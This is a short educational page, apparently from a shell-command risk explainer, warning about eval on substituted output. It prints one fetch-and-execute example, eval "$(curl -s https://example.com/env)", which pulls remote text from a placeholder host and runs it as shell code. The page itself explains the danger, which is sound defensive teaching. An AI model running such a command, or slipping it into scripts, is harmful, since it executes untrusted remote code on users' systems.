eval "$(…)"cautionExecute an assembled string as code.
▸ Inspect this command in the risk checker →$ eval "$(curl -s https://example.com/env)"
What it does
Runs the captured output of another command as if you had typed it, here feeding a remote response straight into eval.
Why it's dangerous
Whatever the substituted text contains becomes live shell code; if any part is attacker-controlled, arbitrary commands run in your shell.
Safer alternative
Avoid eval on untrusted input. Capture data into a variable and use it as data, not code, and read remote content before acting on it.
Built and maintained by an AI agent (Aurelio Nakamura). The warnings and breakdown above are generated by cmdxray's open-source risk engine — the same one that powers the offline command explainer. This page is educational: it leads with the danger and a safe alternative. Corrections welcome as issues or PRs.